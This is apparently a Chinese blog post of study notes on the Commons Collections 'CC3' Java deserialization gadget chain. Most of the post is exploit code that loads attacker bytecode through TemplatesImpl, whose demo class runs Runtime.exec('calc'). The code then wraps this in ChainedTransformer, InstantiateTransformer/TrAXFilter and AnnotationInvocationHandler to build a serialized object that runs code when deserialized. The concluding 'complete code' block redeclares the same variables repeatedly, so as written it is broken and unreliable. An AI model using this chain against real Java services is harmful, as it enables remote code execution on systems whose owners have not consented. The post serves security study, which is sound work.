cc3
CC3
CC3 链同之前我们讲的 CC1 链与 CC6 链的区别之处是非常大的。原本的 CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行的。而很多时候服务器的代码当中的黑名单会选择禁用 Runtime。
而 CC3 链这里呢,则是通过动态加载类加载机制来实现自动执行恶意类代码的。
原理
ClassLoader.loadClass()-->ClassLoader.findClass()-->ClassLoader.defineClass()
首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass(),根据名称或位置加载 .class 字节码,然后使用 defineClass()。defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
第一步
在TemplatesImpl里面找到defineclass
目标是找到他的类型为public,然后find usage,发现在他自己的函数defineTransletClasses()
下面,然后我们继续find usage,,然后我们找到getTransletInstance()
,然后接着find usage,最后找到了public synchronized Transformer newTransformer()
是public,完成。
部分源码
defineClass
Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }
defineTransletClasses
private void defineTransletClasses(){ for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }}
getTransletInstance
private Translet getTransletInstance(){ if (_class == null) defineTransletClasses();}
newTransformer
public synchronized Transformer newTransformer(){ transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);}
第二步
赋值
我们得完成一些参数的赋值让他不会报错且能进入下一个函数
1._name
getTransletInstance()
中的if (_name == null) return null;
若不赋值就会return null
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa");
2._bytecodes
defineTransletClasses()
中的if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); }
若不赋值就会报错
bytecodes是一个byte[][]类型的,然后我们去看调用它的地方
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
他的作用就是不断的循环调用,然后我们只传一个,那么我们可以
Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes);
C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class
这个地址使我们代码执行的地方
3._tfactory
defineTransletClasses()
中的 public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); }
若不赋值就会报错
我们看到他是一个transient,我们去看readobject给他赋值的地方
private void readObject(ObjectInputStream is){_tfactory = new TransformerFactoryImpl();}
那我们就是new TransformerFactoryImpl()
就可以试试看会怎么样
Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
最后总代码
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
报错
Exception in thread "main" java.lang.NullPointerException at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:422) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.kuang.CC3.main(CC3.java:40)
空指针错误
第三步
去defineTransletClasses第一步调试一下,调试发现
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
_auxClasses
这个参数为空,有两种方法可以解决进入 if (superClass.getName().equals(ABSTRACT_TRANSLET))
,或者给_auxClasses
赋值,但是我们发现后面_transletIndex < 0
就会报错,所以我们就进行第一步,因为进入if就会给_transletIndex
赋值。
OK,我们看怎么满足这个条件,_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();superClass.getName().equals(ABSTRACT_TRANSLET)
就是让_bytecodes
加载的代码的父类是ABSTRACT_TRANSLET
。
public class Test extends AbstractTranslet{ public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
解释上面功能
因为我们要继承他,然后发现他是个抽象类,抽象方法都要实现
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
然后编译一下,放到执行代码的地方
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
第四步
templates.newTransformer();和cc1结合ChainedTransformer
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1);
解释里面的代码
ConstantTransformer
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
就是传进去constantToReturn,然后把他传个iConstant,然后他调用transform时不论传进去什么他就是返回iConstant
ChainedTransformer
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
先是构造器穿进去一个数组 transformers,然后赋值给iTransformers,如果调用transform的话就拿上一个的transform里面的值单做下一个的object
综合上面的描述
就是第一个ConstantTransformer(templates)
被调入ChainedTransformer
的transform
,到object = iTransformers[i].transform(object);
这一行等于object = new ConstantTransformer(templates).transform(object);
最后会使得object = templates
,然后不断下去不过你得调用chainedTransformer.transform(1)
,才能开始。
第五步
与cc1结合,替换chainedTransformer.transform(1)
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin");
进阶番外片
因为invoketransform
会被ban掉所以我们又有了衍生
我们去找谁调用了newInstance()
,找到了在TrAXFilter
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
但是他是不能序列化的,所以我们去找一个构造函数给他赋值,找到InstantiateTransformer
public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input){ Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); }
构造下面的替换掉invoketransform
,用下面的代码
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
完整代码
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
我们把最后一个transform用cc1的替换掉
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin");
但是上面这个会报错是因为Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
这一步,因为别忘记cc1最后一步readobject
的那个setvalue
传参是不可控的,所以需要引入Transformer
与ChainedTransformer
加以辅助。
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
完成!!
TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin");
完整代码
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer();//第一步 TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1);//第二步 TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin");//第三步 TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);//第四步 TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin");//第五步 TemplatesImpl templates = new TemplatesImpl(); Class tc = TemplatesImpl.class; Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin");//第六步 } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object obj = ois.readObject(); ois.close(); return obj; }
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!